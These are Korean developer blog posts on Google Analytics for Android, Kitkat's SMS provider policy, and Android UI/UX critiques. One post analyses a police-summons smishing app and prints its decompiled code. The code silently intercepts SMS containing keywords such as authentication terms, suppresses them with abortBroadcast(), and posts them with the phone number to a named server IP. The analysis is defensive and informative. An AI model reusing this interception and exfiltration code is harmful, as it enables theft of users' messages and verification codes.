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Data analytics 시작하기

한때 ‘데이터분석‘에 삘을 받아서 여기저기 강의를 쫒아다니면서도 제대로된 테스트베드가 없어서 이론만 듣고 그렇겠구나 하는 정도만 알고 지나쳤었습니다.

최근에 작은 규모의 스타트업에 합류하면서 직접 할 수 밖에 없는 상황에서 분석을 하려고 하니 이론 강의를 들을 때와는 딴판으로 하나도 모르겠어서 알렉스 앤 컴퍼니의 서하연대표님의 조언을 받아가면서 하나씩 시도해 보려고 합니다.

우선 Google Analytics 관련 공부는 아래 서적으로 시작했는데, 대부분의 GA 관련 서적이 그렇듯이 Mobile 보다는 Web 위주로 설명이 되어 있어서 당장 적용하기에는 어려움이 많았습니다. 또한, GA가 버전 업데이트가 잦고 업데이트 시에 변화가 커서 책은 물론 웬만한 블로그 내용들도 최신 내용으로 업데이트가 되지 않는 문제가 있었습니다.

book_ga.jpg

제가 정리하는 글 또한 세부적인 내용은 GA 버전 변경 시에 유효하지 않을 수 있기 때문에 GA 사용법보다는 GA를 활용한 데이터 분석이나 Android 앱의 개선에 촛점을 맞추고자 합니다. 저 처럼 GA에 대해서 기본 제공하는 화면만 보시던 분이나 좀 더 새로운 개선을 위해서 뭔가 해보고 싶으신 분께는 도움이 되겠지만, GA를 처음부터 해보시려는 분이나 데이터 분석 자체를 공부하고자 하시는 분께는 별로 도움이 안되실 겁니다.

극히 제 개인적인 상황에서 서비스를 개선하는데 데이터 분석의 요소 기술이나 GA를 어떻게 활용하면 좋은지 시행착오 기록 차원에서 글을 씁니다.


 

우선 회사에서 실제 서비스하는 앱의 데이터 분석을 위해서 그 흔한 사용자 화면 흐름을 트래킹하고자 했는데, iOS만 선택 가능하고 Android는 아예 항목이 존재하지 않았습니다.

behavior_flow

앱 코드를 살펴보니 Screen을 Event로 처리하기 때문에 발생한 현상이었습니다.


tracker.setScreenName("인트로");  
tracker.send(new HitBuilders.EventBuilder()  
     .setCategory("인트로")  
     .setAction("앱 시작")  
     .build());  

 

Android 공식 GA Guide 문서에서 제시하는 올바른 Screen 사용법은 다음과 같습니다.


tracker.setScreenName(screenName);
tracker.send(new HitBuilders.ScreenViewBuilder().build());

 

이런 식으로 데이터가 잘못 쌓이게 되면 실제 분석 데이터가 안맞게 되는데, 이때는 제대로된 데이터가 입력된 버전 데이터로 분석하는 View Filter를 사용합니다.

ga-view-filter.png

View를 새로 만들면 처음에는 데이터가 안보이는데, 만 하루 정도 지나야 데이터가 보인다고 합니다.

ga.png

v1.2x 버전 이후 필터링된 View와 쌓인 데이터는 아래와 같이 보입니다.

View를 새로 만들거나 View Filter를 설정할때는 기존에 존재하는 View는 그대로 놔두고 반드시 복사해서 View를 만든 후에 Filter를 적용해야 원본 데이터를 보존하게 된다는 점은 조심해야 할 점입니다.

view-version.png

여기까지 데이터 분석을 위한 준비는 끝났습니다.

Google Analytics 관련 내용은 이미 충분히 있기 때문에 제가 똑같은 내용을 여기에 정리할 필요는 없을 것 같습니다. Google Analytics 설정이나 초기 코드 추가 등의 GA를 처음 접하는 사용자가 데이터 분석 혹은 앱에 어떤 작업을 해야 이후에 GA에서 정보를 볼 수 있는지 등등은 Google 공식 페이지를 보시거나, GA 초기 설정부터 계정(Account)과 속성(Property), 보기(View)의 관계와 역할은 아래 블로그에 잘 설명되어 있으니 참고하시면 좋을 것 같습니다.

구글 애널리틱스 설정과 사용 방법 TIP

 

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Kitkat 버전의 관전 포인트

Android 4.4 Kitkat 버전에서 많은 것이 바뀌었는데 대부분이 기술적인 진화였다면 일부 사항은 정책의 변화로 읽을 수 있습니다.

특히, SMS Provider라고 불리우는 부분의 변화는  Launcher 나 Browser같이 기존에 Intent 기반의 동작에 의해서 사용자에게 default application 설정을 물어보는 것이 아니라, SMS라는 특수한 기능에 대해서 default application을 설정하는 최초 사례라는 점에서 눈여겨볼 필요가 있다고 생각합니다.

default_home_screen

기존 Android 버전업과 달리 Kitkat에서 이러한 정책 변화가 왜 시작되었느냐를 따져보았을때, Google Hangout에서 SMS/MMS를 본격적으로 지원하기 위한 목적으로 SMS Provider라는 기능이 추가되었다는 점입니다.

(Credit: Jason Cipriani/CNET, http://goo.gl/nFH7Tb)

Google이 Hangout에서 SMS/MMS를 지원하기 위해서는  제조사별/기기별/통신사별 파편화를 극복해야 합니다. SMS/MMS를 지원하려면 극복해야 하는 파편화의 대표적인 문제점은 아래 2가지입니다.

  • ContentProvider의 URI가 제조사별/단말별로 각기 다른 문제 : URI가 다르면 메시지를 읽어올 수 없기 때문에 각 단말별 파편화된 URI 목록을 경험에 의해서 수집해야 합니다.
  • ContentObserver로 전달하는 URI 파라미터와 동작이 다른 문제 : SMS/MMS database에 추가/변경/삭제가 발생하는 경우 3rd party application이 이를 감지해야 하는 경우가 있는데 단말별로 동작이 다를뿐 아니라 정상적으로 동작하지 않는 단말이 있어서 정상적인 기능을 수행하지 못하는 경우도 있습니다.

이와 같이 3rd party application이 SMS/MMS를 지원하려면 엄청난 고통이 수반되고 그나마도 100% 호환성을 유지하지 못하기 때문입니다.  Google도 Hangout에서 이런 문제에 봉착했고 결국 Android의 규격을 변경하는 방법을 택한 것으로 보입니다.

이는 Google 서비스에 대한 노골적이고 직접적인 지원이고, Google이 Android를 본격적으로 자사에 유리하게 활용하기 시작했다고 의심하기 충분합니다.

  1. Google의 Hangout이 SMS/MMS 기능을 포함하는 시점에 Android 규격이 변경되었다.
  2. Platform과 Hangout application이 동시에 배포되었다.
  3. 여타 다른 배포와 달리 Kitkat SMS Provider는 Sample code가 제공되지 않아서 3rd party가 따라가는데 시간적인 장벽이 존재한다.

특히, 2번은 Microsoft가 Windows 버전 업그레이드시에 새로 포함된 기능이 Office에 바로 적용되던 나쁜 관행이 Android에서 재현되는 것 같아서 상당히 우려스럽습니다. GO SMS나 Handcent같은 SMS application이 아직 Kitkat을 지원하지 못하고 있는 상황에서 Hangout이 Platform의 기능을 선점해서 사용하는 것은 출발점이 다른 불공정한 경쟁이기 때문입니다.

추가적으로, SDK를 이용해서 날짜를 선택하는 Dialog를 띄우면 아래와 같이 날짜 선택 화면이 보여집니다.

Screenshot_2014-01-15-18-13-14

그런데, Kitkat에 기본 탑재된 달력에서 날짜를 선택하는 UI는 아래 보이는 화면처럼 상당히 직관적이고 개선된 Dialog를 사용합니다.

Screenshot_2014-01-15-18-09-39

3rd party application과 Google의 기본 탑재 application이 기본 UI에서부터 공정하지 못한 경쟁을 하고 있다는 것입니다.

이런 상황에서 제조사/통신사들은 경쟁을 위한 차별화만을 추구하면서 파편화를 심화시켜 Android 생태계가 위태로워지고 있습니다. 스타트업을 포함한 3rd party 개발사들이 파편화에 대응하는 비용이 계산이 쉽지는 않겠지만 작지 않은 비용이라고 어렵지 않게 추측할 수 있을 것 같습니다. 가뜩이나 Android 개발의 주도권이 Google에 있다보니 Google과 Android의 경계를 구분하기 어려워지고 있는 이 시점에 Google의 영향력에서 벗어나 자생력을 가지는 방향으로 시장 참여자들의 진지한 고민이 필요하다고 생각합니다. 국내 제조사와 통신사들이 경쟁에만 몰두하지 않고 생태계를 위한 아름다운 합의를 통해서 새로운 규격을 만들거나 기존 파편화 문제를 해결하는 노력을 한다면 Google의 영향력 못지 않은 영향력을 발휘할 수 있는 기반을 갖추고 있다고 보기 때문입니다.

예를들면, 아래와 같이 Launcher 아이콘에 표시되는 badge같은 사례가 될 것 같습니다. 비록 Android 표준은 아니지만 삼성/LG 단말에 이미 구현되어 있는데 해당 기능이 표준화되어 있지 않고 3rd party에게 열려있지 않아서 제조사 탑재 기본 어플과 제조사와 제휴를 맺는 일부 업체만 해당 기능을 사용하고 있기 때문입니다. 유용한 기능이라면 삼성/LG가 규격을 표준화해서 Google의 표준화 여부와 상관 없이 단말에 기능을 탑재해서 출시한다면 결국 표준으로 자리 잡지 않을까요?

facebook icon

Android 스미싱 사례 분석

얼마 전에 저희 팀 개발자에게 지방경찰청의 민사소송 출석요구서를 빙자한 스미싱 문자가 발송되었습니다.

스미싱_메시지통2 스미싱_sms

스미싱 방지 기능이 포함된 ‘메시지통‘ 개발자이기 때문에 스미싱임을 충분히 인지한 상태였지만, 문자 내용상으로 ‘경찰청’, ‘민사소송’, ‘출석요구서’ 등 일반인들에게는 충분히 위화감을 줄 수 있는 단어가 포함되어 있다보니 메시지를 받는 순간 가슴이 쫄깃쫄깃해졌다고 합니다.

이에 개발자가 열받아서 스미싱앱을 직접 다운받고 분석해서 일반인을 위한 내용을 저희 서비스 공식 블로그를 통해서 ‘스미싱 앱 수신부터 삭제까지~ (스미싱 앱 원리 파헤치기)‘라는 글을 발행하였습니다. 아무래도 개발자가 분석한 내용에 비해서 기술적인 내용이 많이 생략되었고, 개발자분들이야 맘만 먹으면 다 분석할 수 있는 내용이지만 저도 막상 스미싱앱을 직접 분석해본 적은 없었기에 개발자분들의 귀차니즘과 궁금증을 동시에 해소해드릴까 해서 글을 포스팅합니다.

1.앱의 권한

경찰청 출석요구서 스미싱앱의 권한은 SMS를 수집해서 특정 서버로 전송하는 기능을 수행하기 위한 권한을 포함하고 있습니다. “RECEIVE_MMS“나 “WAKE_LOCK” 등은 코드 분석결과 사용하지 않는 권한으로 확인되었습니다.

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_MMS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

2.주요 동작

앱 설치후 실행 시에는 사용자가 인지할 수 있는 동작은 수행하지 않습니다. 다만, 최초 구동 시에는 사용자가 모르게 http://126.114.228.119 URL로 단말 전화번호와 사용중인 통신사 정보를 전송합니다.

이후에는 SMS가 수신되면 ‘인증‘, ‘결재‘, ‘보호‘, ‘휴대폰‘, ‘번호‘, ‘www‘ 등의 문자열이 포함된 경우에 abortBroadcast() 호출을 통해서 다른 SMS 수신 앱으로 SMS가 전달되지 않도록 합니다. 다만, SMS receiver의 priority가 1000밖에 안되어서 모든 앱이 SMS를 수신하지 못하는 것은 아닙니다.

단말 전화번호와 사용중인 통신사 정보를 수집하는 부분과 특정 문자열을 포함한 문자메시지를 왜 서버로 전달하지 않는지는 추측하기 쉽지 않지만 기술적으로는 조금 허술하게 구현된 측면이 있습니다.

if(s1.indexOf("\uC778\uC99D") >= 0) // 인증
{
 towNum = (new StringBuilder()).append(s).toString();
 comten = (new StringBuilder()).append(s1).toString();
 D = true;
 abortBroadcast();
}
if(s1.indexOf("\uACB0\uC81C") >= 0) // 결재
{
 towNum = (new StringBuilder()).append(s).toString();
 comten = (new StringBuilder()).append(s1).toString();
 D = true;
 abortBroadcast();
}
if(s1.indexOf("\uBCF4\uD638") >= 0) // 보호
{
 towNum = (new StringBuilder()).append(s).toString();
 comten = (new StringBuilder()).append(s1).toString();
 D = true;
 abortBroadcast();
}
if(s1.indexOf("\uD734\uB300\uD3F0") >= 0) // 휴대폰
{
 towNum = (new StringBuilder()).append(s).toString();
 comten = (new StringBuilder()).append(s1).toString();
 D = true;
 abortBroadcast();
}
if(s1.indexOf("\uBC88\uD638") >= 0) // 번호
{
 towNum = (new StringBuilder()).append(s).toString();
 comten = (new StringBuilder()).append(s1).toString();
 D = true;
 abortBroadcast();
}
if(s1.indexOf("www") >= 0)
{
 towNum = (new StringBuilder()).append(s).toString();
 comten = (new StringBuilder()).append(s1).toString();
 D = true;
 abortBroadcast();
}

이렇게 특정 문자열에 대해서 abortBroadcast()로 SMS 수신앱에 전달되지 않게 한 이후에는 별도로 실행되는 Service를 통해서 SMS를 서버로 전달하게 됩니다.

  public void onCreate()
  {
    super.onCreate();
    new Thread(new Runnable()
    {
      public void run()
      {
        while (true)
        {
          if (!clService.this.threadDisable)
            return;
          try
          {
            Thread.sleep(1000L);
            if (SMS.D)
            {
              SMS.D = false;
              String str = clService.this.tool.postHttpConnection(SMS.usehost, SMS.ponNum, SMS.towNum, SMS.comten);
              Log.v("clService", "post:" + str);
            }
          }
          catch (InterruptedException localInterruptedException)
          {
          }
        }
      }
    }).start();
  }

3.특이사항

실제로 동작하지는 않지만 Device Admininistration 관련된 Code가 포함되어 있습니다.

Android 2.2부터 추가된 Device Policy Management는 단말의 Lock을 설정하거나 Data를 모두 지우거나 Password를 Reset하는 등의 단말 관리 정책을 사용하려고 시도 했다는 것인데, 보통은 Exchange 서버를 사용하는 Email앱을 사용할때 보여지는 화면이고 휴대폰의 분실 또는 기타 사유에 의해서 정보 유출을 방지하고자 선의로 사용되는 기능입니다.

ada

다음과 같은 코드로 기기 권한 활성화 Activity를 호출하고자 구현되어 있고 실제로 호출되었다면 단순 스미싱이 아닌 더 큰 재앙(?)이 될 뻔했습니다. 물론 기기 권한 활성화는 별도 사용자의 동의가 없이는 동작하지 않기 때문에 우려하는 재앙이 발생할 개연성은 높지 않으리라 봅니다만 악용하면 위험한 기능임에는 틀림이 없습니다.

private void startAddDeviceAdminAty()
{
 Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
 localIntent.putExtra("android.app.extra.DEVICE_ADMIN", DAR.getCn(this));
 localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "테스트");
 startActivityForResult(localIntent, 10001);
}

더 나은 Android application 만들기 – 두번째

더 나은 Android application 만들기 에 보여주신 엄청난 관심에 힘입어 2편을 준비하게 되었습니다. 1편에서는 아무래도 기존에 출시된 앱을 기준으로 문제점을 지적하다보니 바람직한 UI에 대해서 대안을 제시하는데 부족했다는 생각이 들어서 다른 접근으로 제가 참여하는 프로젝트에서 UI/UX를 개선하는 사례를 중심으로 이야기를 해볼까 합니다.

Screenshot_2013-05-11-19-48-04

저는 이런 화면을 보면 업체 측에서 면피를 위해서 사용자들에게 ‘법대로 해보자!‘라고 이야기하는 느낌이어서 앱의 첫화면에서 없앴으면 좋겠다고 생각했는데, 막상 내막을 알아보니 정부 모기관의 가이드라인이라고 하더군요. 단순 가이드라인이라고 하니 더 나은 사용자 경험을 위해서 안지키면? 이라고 얘기했더니 같이 일하는 동료가 고개를 절래절래 흔들었습니다. 뭔가 무서운 일이 발생할 수 있나 봅니다. 일단 지켜야…

Screenshot_2013-06-07-09-20-02

어짜피 지켜야 할 가이드라인이라면 사용자에게 부담을 주지 않고 클릭하도록 하는 것이 좋다고 생각했습니다. 약관의 대부분은 대동소이했지만 저희가 서비스하고자 하는 앱은 전화번호와 가공된 기기 식별자를 수집한다는 점이 달랐습니다. 해당 내용은 이미 약관에 포함되어 있고 대부분의 사용자들이 약관을 읽지 않고 기계적으로 동의한다는 것도 알고 있습니다. 하지만 저희는 그 부분은 핵심적으로 간결하게 알릴 필요가 있다고 판단해서 별도로 표기했습니다. (캡쳐한 화면에서 보여지는 문구는 개선할 계획입니다.)

이 약관 화면에서 의도한 것은 현대카드 광고 중 ‘현대라이프 ZERO‘ 에서 영감을 얻어서 복잡한 약관 화면을 생략하는 대신 사용자가 알아야 할 내용을 명확히 알리고자 했습니다.

Screenshot_2013-05-21-15-53-35_2

아무래도 제약이 덜한 외국 업체인 ‘GO SMS’는 앱 최초 실행 시에 약관을 보여주는 것이 아니라 부가 서비스 사용을 위해서 약관이 적용될만한 개인 정보를 수집하는 시점에 약관 동의를 받습니다.  가이드라인 제약없이 할 수만 있다면 더 바람직한 방향이라고 생각합니다.

Screenshot_2013-06-12-10-23-14_2

Android에서는 SMS 수신 기능을 가진 모든 앱이 SMS 수신 이벤트를 받기 때문에 ‘알림’ 기능이 중복되는 경우가 있어서 GO SMS를 포함한 일부 앱에서는 이러한 알림 중복을 해결하기 위해서 다른 앱에 이벤트가 전달되지 않도록 하는 기능을 포함하기도 합니다.  이런 경우 사용자는 하나의 메시지에 대해서 다수의 중복 알림을 받거나, 특정 앱에서 설정을 했는데 알림이 오지 않는 문제를 만날 수 있고, 이런 부분에 대해서 해결책이 막막할 수 밖에 없습니다. 이러한 문제점에 대한 안내는 앱이 최초 실행되는 시점에 SMS 수신 기능을 사용하는 앱의 목록을 사용자에게 명시적으로 보여줌으로써 보완하고자 했습니다.

‘아래 앱들의 SMS 수신 또는 알림설정에 따라 메시지통 서비스가 원활하게 동작하지 않을 수 있습니다.’ 문구는 많이 사용되는 표현이기는 합니다만, 사용자 입장에서는  ‘그래서 어쩌라고?‘라는 생각을 할 수 밖에 없습니다. 문구를 만들때 많이 간과하는 부분이라고 생각합니다.

얼마 전에 SNS에 화제가 되었던 OS 업데이트 관련 문구도 개발자 입장에서 서버와의 통신 결과에 따라서 당연히 ‘업데이트가 없습니다.‘라고 표현하는데, 사용자 입장에서는 ‘최신 버전입니다.‘ 라고 표현하는 것이 맞다는 내용도 일맥상통하는 사례입니다.

Screenshot_2013-06-19-16-41-56_2

변경된 문구는,

‘아래 앱들의 SMS 수신 또는 알림설정을 확인해주세요. 설정에 따라서 메시지통으로 메시지가 수신되지 않을 수 있습니다.

사용자가 어떤 행동을 취해야 하는지와 발생할 수 있는 오동작에 대한 안내를 명확하게 표현하고 있습니다.

Screenshot_2013-06-13-13-34-24

알림 팝업 설정 화면입니다. 전화번호부에 있는 번호로부터 수신된 메시지가 수신되는 ‘메시지함’과 카드사/은행으로부터 수신되는 ‘거래내역’ 그외 알수 없는 번호로부터 수신되는 ‘미확인 번호’ 등 조건에 따라서 메시지를 구분해서 표시하는데 각각에 대해서 알림을 표시하는 방법을 설정하는 화면입니다.

구 피쳐폰을 사용하는 SMS 사용자에게 익숙한 팝업으로 알리는 기능과 화면에서 방해받지 않고 알림을 받을 수 있는 상태바 표시 설정을 변경할 수 있는데 문구에 익숙하지 않을 수 있는 사용자를 위해서 시각적으로 설정에 따른 동작 예시를 보여주고 있습니다.

이 화면이 나온 이후에 내부 사용자 테스트 결과는 상단 이미지를 안내로 인식하지 않고 클릭하려는 경향을 보였다는 것입니다. 또한, 하단의 팝업/상태바 표시를 클릭했을 때 상단 안내 이미지에 변화가 있어야 한다고 기대를 하는데 막상 안내 이미지에서 아무런 동작이 없으니 혼란스럽다는 의견도 있었습니다.

Screenshot_2013-06-19-17-12-16

짜잔~ 이에 사용자가 이미지를 클릭하여 설정을 변경할 수 있도록 직관적으로 알림 설정 UI를 변경하였습니다.

메인 화면에 보이는 메시지함/거래내역/미확인 번호 탭에 대해서 알림 설정을 변경하는데 쉽고 직관적이고 슬라이딩 애니메이션을 추가하여 동적인 화면을 구성하였습니다.

현재 진행하는 프로젝트에서 나름 바람직한 Android UI를 만들기 위해서 프로젝트에 참여하는 많은 분들이 고생하고 계십니다.  제가 보여드린 개선된 화면과 문구는 정말로 많은 고민의 결과로 나온 것들입니다. 만들어 놓은 것을 가지고 이것이 나쁘다 저것이 나쁘다 말하기는 쉽습니다. 하지만, 문제점을 개선하기 위한 ‘새로운 길‘을 찾는 일은 쉽지 않습니다. 프로젝트를 진행하시면서 벽에 부딪혔을때 무조건 쉬운 길을 선택하지 마시고 어렵더라도 옳은 길을 선택하시기를 바라고,  제 경험과 이 글이 그 길을 찾는데 도움이 될 수 있다면 좋겠습니다.

이 글에서 보여드린 개선 사항은 이제 첫걸음일 뿐입니다. 아직 갈 길이 멀고 할 일도 많습니다.  Android에서 쓸만한 SMS 앱이 없어서 제대로 만들어 보고 싶습니다.   Google Play에서 앱을 다운로드해서 써보시고 바꾸고 싶은 부분이 있다면 언제든지 피드백을 주세요.  더 좋은 앱을 만나실 수 있습니다. 저희가 개선하는 과정이 궁금하신 분들도 저희 앱에 관심을 가져주시면 큰 힘이 됩니다.

더 나은 Android application 만들기

iOS가 초기에 mobile 생태계를 선점하면서 기획을 비롯한 UI / UX, Design 실무자는 물론 개발자들까지 iOS의 영향력 아래서 자유로울 수 없었기 때문에 Android application들이  iOS의 UI를 따라한 사례가 많고, 각기 다른  플랫폼에 최적화된 기획안을 따로 만드는 것도 현실적으로 어렵다보니 Android UX에 충실한 application이 거의 없습니다. 또한, Android 플랫폼에 충실하게 개발하고 싶거나 공부를 하고 싶어서 Android UI/UX에 참고할 수 있는 Best Practice 사례를 추천해달라고 종종 요청 받아도 딱히 추천해줄 수 있는 사례가 없는 것이 안타까운 현실입니다.

그마나, ICS 버전부터 Google이 Android Design site를 통해서 기본적인 Guideline을 제시하고 있지만 이를 숙지하는 사람도 별로 없고, 개발자들조차 구글의 Android 개발자 블로그 를 유심히 보는 것 같지 않습니다.

이 글에서는 시중에 유통되는 application의 사례들을 통해서 바람직한 Android UI/UX에 대한 방향을 제시하고자 합니다.

컨텐츠 접근을 쉽게

OKJSP 기존 앱 초기화면 Screenshot_2013-05-04-23-53-57

개선된 OKJSP 앱 초기화면 개선된 OKJSP 앱 게시판 목록

첫번째는 OKJSP 기존 앱의 초기화면이고, 두번째는 개선된 앱의 초기화면 입니다.  두 앱의 가장 큰 차이는 초기 화면의 컨텐츠의 접근성입니다.

  • 첫번째 앱은 게시판을 선택하고 글을 선택하는 최소한 2단계의 탭이 필요로 하지만, 두번재 앱은 바로 글을 선택할 수 있습니다.
  • 첫번째 앱은 게시판 목록에서 새글이 올라온 게시판을 구분할 수 없기 때문에 사용자가 모든 게시판 또는 자주가는 게시판을 선택을 해야 글 목록을 확인 가능하고 그 마저도 새 글의 여부가 명확하지 않아서 미처 기억하지 않은 제목의 경우에 이미 읽은 게시물을 다시 읽을 수도 있는 상황이 발생할 수 있습니다. 반면, 두번째 앱은 ‘최근 게시물’을 먼저 보여주기 때문에 최신 글의 접근성이 높아졌고, 이미 읽은 글에 대해서 Dim 처리를 했기 때문에 이미 읽은 글과 읽지 않은 글의 구분이 명확해졌습니다.
  • 두번째 앱은 ‘햄버거와 지하’ 문제에도 불구하고 menu drawer 기능을 적용하였습니다. 이는 facebook과 마찬가지로 OKJSP도 게시판 목록이 좌측에 위치하고 게시판 목록을 클릭해서 게시판에 이동하는 Web의 경험을 Menu Drawer(또는, Hamburger Menu)를 통해서 Seamless하게 구현하였습니다. 또한, 현재 선택된 게시판을 Highlighting하여 사용자가 메뉴에서 길을 잃는 일이 없도록 표시했습니다.

키보드 – 바로 보여주기

Screenshot_2013-05-05-00-11-34 Screenshot_2013-05-05-00-11-49

‘김기사’ application에서 ‘리스트’ 목록을 선택했을 때 화면입니다. 하단 ‘리스트’ 버튼을 통해서 목록에 진입하면 첫번째 화면이 보여지는데 두번째 화면과 같이 에디트 창에 커서를 배치하고 키보드를 보여주는 것이 표준 동작입니다. 물론 목록을 많이 보여주려는 목적도 있을 수 있겠으나 목록이 많다면 검색창에서 자동완성으로 해결하는 것이 더 바람직한 해결책이라고 봅니다.

키보드 – ACTION 적절하게 정의 하기

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Android의 키보드 우측 하단 키는 ‘ACTION’을 정의할 수 있습니다. ‘이동‘, ‘검색‘, ‘다음‘, ‘완료‘ 등으로 다양하게 적용 가능하고, 위 화면을 보시면 Google 검색 창에서는 키보드가 ‘검색’으로 적용되고 크롬 브라우저에서 URL 주소를 입력하면 ‘이동’으로 적용되는 것을 알 수 있습니다. 김기사 앱의 경우에는 리스트에서 장소를 검색함에도 불구하고 ‘검색’이 아닌 ‘완료’로 표시 되어 있습니다. 단, 완료는 특별한 추가 동작 없이 키보드를 닫는 작업을 수행합니다.

키보드의 ACTION을 적절하게 적용하면 ‘완료’ 대신에 ‘이동’, ‘검색’, ‘다음’ 등의 직관적인 키워드에 의해서 수행되는 작업을 명시적으로 알려줄 뿐 아니라 보통 화면 상단에 위치하는 에디트 입력 창이나 동작 버튼까지 멀리 터치하지 않아도 키보드 반경 내에서 다음 동작을 바로 수행할 수 있는 장점이 있습니다.

예측 가능한 동작 연결하기 – 검색결과 예외처리

Screenshot_2013-05-05-00-17-46 Screenshot_2013-05-05-00-20-41

위 화면과 같이 목록에 없는 결과를 입력했을 때, ‘김기사’앱은 아무런 결과를 보여주지 않았지만 우측의 Foursquare는 검색 결과가 없는 경우 빈화면 또는 오류/경고 팝업을 보여주는 대신에 목록을 바로 추가할 수 있는 경로를 제공하고 있습니다.

사실 김기사 앱의 ‘리스트’라는 화면은 명확하게 정의하자면 ‘저장된 위치 목록’ 또는 ‘즐겨찾기’인데 ‘리스트’라는 이름으로 인해서 학습되지 않은 사용자에게 검색 결과를 보여주는 것인지 기존에 저장된 목록을 검색하는 것인지 모호한 점이 있기는 합니다.

Option menu / Context menu 사용하기

device-2013-05-05-024833 device-2013-05-05-025554

김기사앱의 목록 화면은 상단 제목의 좌측에는 [+] 버튼이 우측에는 [편집] 버튼이 있는 아주 기형적인 구조를 가지고 있습니다.

사실 [+] 버튼은 위에서 언급한 대로 자동 완성 기능에 의해서 목록에서 찾고 목록에 없는 경우에 검색으로 연결하는 것이 자연스러운 흐름이고, 사용자가 명시적으로 추가하는 동작을 원하는 경우에는 Option Menu에 기능을 추가하는 것이 훨씬 자연스러운 접근입니다.

그리고, [편집]버튼은 상당히 쌩뚱맞은데 [편집] 버튼에서 지원하는 기능이라고는 [삭제]와 [숨기기]가 고작입니다. 이 정도는 롱클릭에 의한 Context menu로 지원했다면 [편집]이라는 쌩뚱맞은 화면을 만들지 않아도 되었지 않나 생각합니다.

김기사 앱은 전체적으로 메뉴키를 지원하지 않는 구조인데, 앱의 화면에 버튼을 비롯한 UI 요소가 많은 것은 사용자에게 앱이 복잡하거나 어렵다고 느끼게 할 수 있기 때문에 앱을 주로 사용하는 기능에 대해서만 화면의 주요 요소로 배치하고 나머지 부가적인 기능은 메뉴키를 이용한 option menu로 처리하는 것이 좋습니다.

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그리고, ‘리스트’ 화면에서 해당 목록을 클릭하면 해당 장소에 대한 세부 내용이 보이는데 여기에도 몇가지 문제가 있습니다.

  1. 리스트 화면의 목록은 그대로 존재하면서 추가 정보가 보여줘야 하는데 목록이 없어지면서 상세 정보만 보여서 헷갈리게 할 수 있습니다.
  2. 클릭한 목록의 상세 정보을 닫고 최초 목록 화면을 보고 싶을 때 되돌아갈 수 있는 경로가 없습니다.
  3. 원래 목록으로 돌아가고 싶어서 [BACK]키를 누르면 앱이 우발적으로 종료되기 때문에 종료 팝업을 띄워서 이 문제를 대응하고 있습니다.
  4. 정상적인 상황이라면 목록의 상세 정보에서 [닫기] 기능을 제공하는 것이 맞습니다.
  5. Context menu를 인지하지 못하는 사용자를 위해서 상세 정보에서 [숨기기], [삭제] 기능까지 부가적으로 제공하면 더욱 좋습니다.
  6. 목록의 상세 정보에 버튼이나 기능 요소가 많아서 사용자가 어려움을 겪을 수 있다면 [more] 버튼이나 유사한 메타포를 통한 추가 기능 지원이 좋습니다.

Android에서 context menu는 익숙한 사용자에게 빠른 사용성을 제공하기 때문에 쉬운 사용성을 위한 우회로와 함께 지름길을 같이 제공하는 것도 중요합니다.

흐름을 끊지 않기

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이 글의 대부분은 ‘김기사’앱으로 사례를 들고 있지만, 제가 아는 가장 나쁜 UI/UX를 가진 앱은 단연 ‘Tmap’입니다. 그 중에서 가장 큰 문제는 주행하기 위해서 안전운전 도우미를 실행하면 거의 항상 만나는 팝업이 DB 업데이트 다운로드 확인 팝업입니다. 안전운전 DB의 업데이트를 해당 기능의 실행 시점에 그것도 팝업으로 물어 보면서 흐름을 끊는 것이 맞는지 정말 의구심이 드는 부분입니다.

저런 상황이라면 우선 안전운전 도우미를 실행하고 Notification Bar에 DB 업데이트 관련 내용을 띄운다면 운전 시작하는 시점에 기다리거나 흐름이 끊어짐이 없이 바로 안전운전 도우미 사용이 가능하고 Notification Bar를 통해서 사용자가 DB 업데이트 시점을 조절할 수 있고 운전 중에 핸드폰을 조작해야 하는 최악의 경우 상황도 피할 수 있습니다.

팝업은 정말로 필요할 때만…

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엄밀하게 따지면 현재 사용되고 있는 대부분의 경우에 팝업은 필요하지 않습니다.

심지어 추가된지 얼마 안되는 facebook application 작성 창의 팝업도 꼭 있어야 하는 것인지에 대한 의구심이 있습니다. 물론, 작성된 내용을 유실하거나 실수로 BACK키를 누르는 경우에 불편함이 있기 때문에 팝업을 띄우는 것이 맞다고 생각할 수 있고 마찬가지로 Tmap의 경로 취소 팝업도 동일 선상에서 사용자의 실수를 보완하는 용도로 사용했으리라 봅니다만, 작성 내용을 자동 저장했다가 작성창에 다시 진입했을 때 저장한 내용을 불러오는 흐름이 더 자연스럽지 않았을까 생각합니다. Tmap의 경우도 최근 목적지에 경로 정보가 이미 있기 때문에 굳이 경로 취소 팝업이 아니더라도 데이터를 유실하는 것이 아니기 때문에 팝업이 저 상황을 해결하는 최선의 UI라고 보지 않습니다.

나쁜 팝업 vs. 좋은 팝업

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Tmap 3.x 버전의 초기 구동 화면입니다. SKT 전용 단말의 경우에는 WiFi가 연결되더라도 3G를 사용할 수 있도록 변형되었기 때문에 문제가 없는데 Galaxy Nexus같은 GED 단말은 통신사 전용 기능이 적용되지 않아서 WiFi 상태에서는 사용자 인증을 할 수 없기 때문에 3G로 변경해서 사용하라는 안내 문구를 보여주고 있습니다. 그런데 여기서 [확인]버튼을 누르면 Tmap 이 그냥 종료됩니다. 상단 Notification Bar를 통해서 설정에 진입해서 WiFi를 끄고 3G로 변경을 해도 네트워크 변경을 감지하지 않고 [확인]버튼을 누르면 역시 그냥 종료됩니다. 여기서 사용자가 어떻게 [확인]이 앱이 종료된다고 상상할수 있을까요?

그런데, Android application은 WiFi를 직접 켜고 끌 수 있기 때문에 [확인]버튼 대신 [WiFi끄기] 버튼을 배치했다면 application을 종료했다가 다시 실행하지 않아도 되고, 해당 상황에서 네트워크 변화를 감지해서 3G가 사용 가능하다면 팝업이 자동으로 사라지면서 Tmap 메인 화면으로 진입하는 것이 가장 매끄러운 진행입니다.

또 하나의 아이러니는 진입할 때 WiFi를 끄고 진입했다가 지도 업데이트를 위해서 해당 화면으로 진입하면 WiFi를 켜라고 안내 문구만 나오고, 여기에도 역시 WiFi 켜거나 끄는 옵션이 존재하지 않습니다.

